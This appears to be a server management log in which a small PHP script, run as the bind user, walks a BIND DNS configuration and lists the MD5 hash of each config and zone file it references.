MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:50:07: Establishing a connection
2026-04-23 17:50:07: 

PUT: /tmp/pkp948911

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:50:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp948911; rm /tmp/pkp948911'

2026-04-23 17:50:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
